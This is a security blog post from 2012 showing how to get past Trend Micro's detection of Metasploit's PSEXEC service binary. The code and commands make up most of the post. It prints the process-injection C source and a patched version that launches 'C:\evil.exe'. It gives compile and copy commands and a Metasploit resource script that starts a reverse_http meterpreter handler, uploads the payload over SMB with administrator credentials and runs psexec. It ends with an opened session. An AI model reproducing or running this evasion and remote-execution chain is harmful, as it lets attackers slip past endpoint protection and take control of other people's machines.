Room362.com

Blatherings of a security addict.

Bypassing Trend Micro's Service Protection

| Comments

@jabjorkhaug posed the following question on Twitter today:

I figured I could solve this and it would be an interesting challenge. Here is what it gets detected as:

The service binary that is used as part of PSEXEC is located here:

MSF Directory/data/templates/src/pe/exe/service/service.c

The important part to look at starts at line 57:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

#define PAYLOAD_SIZE 8192

char cServiceName[32] = "SERVICENAME";

char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";

SERVICE_STATUS ss;

SERVICE_STATUS_HANDLE hStatus = NULL;

/*
 *
 */
BOOL ServiceHandler( DWORD dwControl )
{
  if( dwControl == SERVICE_CONTROL_STOP || dwControl == SERVICE_CONTROL_SHUTDOWN )
  {
      ss.dwWin32ExitCode = 0;
      ss.dwCurrentState  = SERVICE_STOPPED;
  }
  return SetServiceStatus( hStatus, &ss );
}

/*
 *
 */
VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
{
  CONTEXT Context;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  LPVOID lpPayload = NULL;

  ZeroMemory( &ss, sizeof(SERVICE_STATUS) );
  ZeroMemory( &si, sizeof(STARTUPINFO) );
  ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );

  si.cb = sizeof(STARTUPINFO);

  ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;

  ss.dwCurrentState = SERVICE_START_PENDING;

  ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;

  hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );

  if ( hStatus )
  {
      ss.dwCurrentState = SERVICE_RUNNING;

      SetServiceStatus( hStatus, &ss );

      if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
      {
          Context.ContextFlags = CONTEXT_FULL;
      
          GetThreadContext( pi.hThread, &Context );
      
          lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
          if( lpPayload )
          {
              WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );
#ifdef _WIN64
              Context.Rip = (DWORD64)lpPayload;
#else
              Context.Eip = (DWORD)lpPayload;
#endif
              SetThreadContext( pi.hThread, &Context );
          }

          ResumeThread( pi.hThread );
          
          CloseHandle( pi.hThread );
      
          CloseHandle( pi.hProcess );
      }
      
      ServiceHandler( SERVICE_CONTROL_STOP );
      
      ExitProcess( 0 );
  }
}

/*
 *
 */
int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
  SERVICE_TABLE_ENTRY st[] =
    {
        { (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
        { NULL, NULL }
    };
  return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
}

It’s injecting our payload into the service binary and tossing our payload into “rundll32.exe” at run time on the victim (side note: you can change which bin it goes into ;). Lets change this so it doesn’t do any injection and just executes a binary. That removes the ‘injection’ piece and hopefully lets us get our shell. We are loosing a bit of stealth because instead of just one (the service binary) we are writing two binaries.

To make this change you replace the above with just this:

1
2
3
4
if( CreateProcess( NULL, "C:\evil.exe", NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi ) )
{
  CloseHandle( pi.hProcess );
}

Compiling this on OSX using mingw is very easy and is very similar on Ubuntu if you have mingw installed:

1
i386-mingw32-gcc -o service.exe service.c 

Then just copy it to replace the current one:

1
cp service.exe ../../../../template_x86_windows_svc.exe 

No other changes are needed. Only problem is, how do we get the “evil.exe” up onto the box for it to execute? That’s where the auxiliary module “auxiliary/admin/smb/upload_file” comes in :–) I built a resource file to demo the timeline of getting execution with this new service binary (broken up with comments to explain, remove the comments for it to work):

Start Multi Handler

1
2
3
4
5
6
use multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 172.16.195.1
set LPORT 80
set ExitOnSession false
exploit -j -z

Upload file to evil.exe on the C$ share (C$ is default for this module so no reason to set it)

1
2
3
4
5
6
7
use auxiliary/admin/smb/upload_file
set LPATH evil.exe
set RPATH evil.exe
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234!
run

Execute PSEXEC using the new service binary that simply executes

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/psexec
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234!
set DisablePayloadHandler true
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 172.16.195.1
set LPORT 80
exploit -j -z

The passwords could have just as easily been hashes, and the end result is:

Well I can’t really show you that nothing was detected… so I guess you just have to believe me when I say:

1
 [*] Meterpreter session 2 opened (172.16.195.1:80 -> 172.16.195.155:49169) at Wed Jul 04 16:02:23 -0400 2012

w00t!

Comments